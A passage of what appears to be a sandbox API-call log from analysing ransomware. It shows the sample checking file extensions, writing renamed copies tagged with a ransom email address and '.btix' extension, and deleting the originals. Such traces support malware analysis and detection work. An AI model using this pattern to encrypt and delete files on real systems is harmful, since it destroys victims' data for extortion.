lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0136.211] SetEndOfFile (hFile=0x550) returned 1 [0136.211] CloseHandle (hObject=0x550) returned 1 [0136.211] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.211] SetEndOfFile (hFile=0x4c0) returned 1 [0136.214] CloseHandle (hObject=0x4c0) returned 1 [0136.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.214] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg")) returned 1 [0136.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0136.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0136.215] lstrlenW (lpString=".doc") returned 4 [0136.215] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0136.215] lstrlenW (lpString=".docx") returned 5 [0136.215] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0136.215] lstrlenW (lpString=".pdf") returned 4 [0136.215] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0136.215] lstrlenW (lpString=".xls") returned 4 [0136.215] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0136.215] lstrlenW (lpString=".xlsx") returned 5 [0136.215] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0136.215] lstrlenW (lpString=".ppt") returned 4 [0136.215] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0136.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0136.215] lstrlenW (lpString=".zip") returned 4 [0136.215] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0136.215] lstrlenW (lpString=".rar") returned 4 [0136.215] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0136.215] lstrlenW (lpString=".bz2") returned 4 [0136.215] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0136.215] lstrlenW (lpString=".7z") returned 3 [0136.215] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0136.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0136.216] lstrlenW (lpString=".dbf") returned 4 [0136.216] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0136.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0136.216] lstrlenW (lpString=".1cd") returned 4 [0136.216] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0136.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0136.216] lstrlenW (lpString=".jpg") returned 4 [0136.216] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0136.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0136.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0136.216] lstrlenW (lpString=".doc") returned 4 [0136.216] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0136.216] lstrlenW (lpString=".docx") returned 5 [0136.216] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0136.216] lstrlenW (lpString=".pdf") returned 4 [0136.216] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0136.216] lstrlenW (lpString=".xls") returned 4 [0136.216] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0136.216] lstrlenW (lpString=".xlsx") returned 5 [0136.216] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0136.216] lstrlenW (lpString=".ppt") returned 4 [0136.216] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0136.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0136.216] lstrlenW (lpString=".zip") returned 4 [0136.216] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0136.216] lstrlenW (lpString=".rar") returned 4 [0136.216] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0136.216] lstrlenW (lpString=".bz2") returned 4 [0136.216] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0136.216] lstrlenW (lpString=".7z") returned 3 [0136.216] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0136.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0136.216] lstrlenW (lpString=".dbf") returned 4 [0136.216] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0136.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0136.217] lstrlenW (lpString=".1cd") returned 4 [0136.217] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0136.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68 [0136.217] lstrlenW (lpString=".jpg") returned 4 [0136.217] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0136.217] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0136.217] lstrlenW (lpString="J0099148.JPG") returned 12 [0136.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0136.217] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=18258) returned 1 [0136.217] CloseHandle (hObject=0x4c0) returned 1 [0136.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg")) returned 0x220 [0136.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0136.218] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.218] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0136.218] GetLastError () returned 0x0 [0136.218] ReadFile (in: hFile=0x4c0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x4752, lpOverlapped=0x0) returned 1 [0136.568] WriteFile (in: hFile=0x550, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x4760, lpOverlapped=0x0) returned 1 [0136.569] ReadFile (in: hFile=0x4c0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.569] WriteFile (in: hFile=0x550, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0136.569] SetEndOfFile (hFile=0x550) returned 1 [0136.569] CloseHandle (hObject=0x550) returned 1 [0136.570] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.570] SetEndOfFile (hFile=0x4c0) returned 1 [0136.572] CloseHandle (hObject=0x4c0) returned 1 [0136.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.573] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg")) returned 1 [0136.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0136.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0136.574] lstrlenW (lpString=".doc") returned 4 [0136.574] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0136.574] lstrlenW (lpString=".docx") returned 5 [0136.574] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0136.574] lstrlenW (lpString=".pdf") returned 4 [0136.574] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0136.574] lstrlenW (lpString=".xls") returned 4 [0136.574] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0136.574] lstrlenW (lpString=".xlsx") returned 5 [0136.574] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0136.574] lstrlenW (lpString=".ppt") returned 4 [0136.574] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0136.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0136.574] lstrlenW (lpString=".zip") returned 4 [0136.574] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0136.574] lstrlenW (lpString=".rar") returned 4 [0136.574] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0136.575] lstrlenW (lpString=".bz2") returned 4 [0136.575] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0136.575] lstrlenW (lpString=".7z") returned 3 [0136.575] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0136.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0136.575] lstrlenW (lpString=".dbf") returned 4 [0136.575] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0136.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0136.575] lstrlenW (lpString=".1cd") returned 4 [0136.575] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0136.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0136.575] lstrlenW (lpString=".jpg") returned 4 [0136.575] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0136.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0136.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0136.575] lstrlenW (lpString=".doc") returned 4 [0136.575] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0136.575] lstrlenW (lpString=".docx") returned 5 [0136.575] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0136.575] lstrlenW (lpString=".pdf") returned 4 [0136.575] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0136.575] lstrlenW (lpString=".xls") returned 4 [0136.575] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0136.575] lstrlenW (lpString=".xlsx") returned 5 [0136.575] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0136.575] lstrlenW (lpString=".ppt") returned 4 [0136.575] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0136.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0136.575] lstrlenW (lpString=".zip") returned 4 [0136.575] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0136.575] lstrlenW (lpString=".rar") returned 4 [0136.575] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0136.575] lstrlenW (lpString=".bz2") returned 4 [0136.575] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0136.575] lstrlenW (lpString=".7z") returned 3 [0136.576] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0136.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0136.576] lstrlenW (lpString=".dbf") returned 4 [0136.576] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0136.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0136.576] lstrlenW (lpString=".1cd") returned 4 [0136.576] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0136.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68 [0136.576] lstrlenW (lpString=".jpg") returned 4 [0136.576] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0136.576] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0136.576] lstrlenW (lpString="J0099158.WMF") returned 12 [0136.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0136.577] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=26160) returned 1 [0136.577] CloseHandle (hObject=0x4c0) returned 1 [0136.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 0x220 [0136.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0136.577] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.577] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0136.578] GetLastError () returned 0x0 [0136.578] ReadFile (in: hFile=0x4c0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x6630, lpOverlapped=0x0) returned 1 [0136.580] WriteFile (in: hFile=0x550, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x6640, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x6640, lpOverlapped=0x0) returned 1 [0136.581] ReadFile (in: hFile=0x4c0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.581] WriteFile (in: hFile=0x550, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0136.581] SetEndOfFile (hFile=0x550) returned 1 [0136.582] CloseHandle (hObject=0x550) returned 1 [0136.582] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.582] SetEndOfFile (hFile=0x4c0) returned 1 [0136.586] CloseHandle (hObject=0x4c0) returned 1 [0136.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.586] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 1 [0136.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0136.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0136.587] lstrlenW (lpString=".doc") returned 4 [0136.587] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.587] lstrlenW (lpString=".docx") returned 5 [0136.587] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0136.587] lstrlenW (lpString=".pdf") returned 4 [0136.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.587] lstrlenW (lpString=".xls") returned 4 [0136.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.587] lstrlenW (lpString=".xlsx") returned 5 [0136.587] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0136.587] lstrlenW (lpString=".ppt") returned 4 [0136.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0136.587] lstrlenW (lpString=".zip") returned 4 [0136.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.587] lstrlenW (lpString=".rar") returned 4 [0136.587] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.587] lstrlenW (lpString=".bz2") returned 4 [0136.587] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.587] lstrlenW (lpString=".7z") returned 3 [0136.588] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0136.588] lstrlenW (lpString=".dbf") returned 4 [0136.588] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0136.588] lstrlenW (lpString=".1cd") returned 4 [0136.588] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0136.588] lstrlenW (lpString=".jpg") returned 4 [0136.588] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0136.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0136.588] lstrlenW (lpString=".doc") returned 4 [0136.588] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.588] lstrlenW (lpString=".docx") returned 5 [0136.588] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0136.588] lstrlenW (lpString=".pdf") returned 4 [0136.588] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.588] lstrlenW (lpString=".xls") returned 4 [0136.588] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.588] lstrlenW (lpString=".xlsx") returned 5 [0136.588] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0136.588] lstrlenW (lpString=".ppt") returned 4 [0136.588] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0136.588] lstrlenW (lpString=".zip") returned 4 [0136.588] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.588] lstrlenW (lpString=".rar") returned 4 [0136.588] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.588] lstrlenW (lpString=".bz2") returned 4 [0136.588] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.588] lstrlenW (lpString=".7z") returned 3 [0136.588] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0136.588] lstrlenW (lpString=".dbf") returned 4 [0136.588] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0136.589] lstrlenW (lpString=".1cd") returned 4 [0136.589] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0136.589] lstrlenW (lpString=".jpg") returned 4 [0136.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.589] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0136.589] lstrlenW (lpString="J0099159.WMF") returned 12 [0136.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0136.590] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=27546) returned 1 [0136.590] CloseHandle (hObject=0x4c0) returned 1 [0136.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 0x220 [0136.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0136.591] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.591] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0136.591] GetLastError () returned 0x0 [0136.591] ReadFile (in: hFile=0x4c0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x6b9a, lpOverlapped=0x0) returned 1 [0136.602] WriteFile (in: hFile=0x550, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x6ba0, lpOverlapped=0x0) returned 1 [0136.603] ReadFile (in: hFile=0x4c0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.603] WriteFile (in: hFile=0x550, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0136.603] SetEndOfFile (hFile=0x550) returned 1 [0136.603] CloseHandle (hObject=0x550) returned 1 [0136.603] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.603] SetEndOfFile (hFile=0x4c0) returned 1 [0136.826] CloseHandle (hObject=0x4c0) returned 1 [0136.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 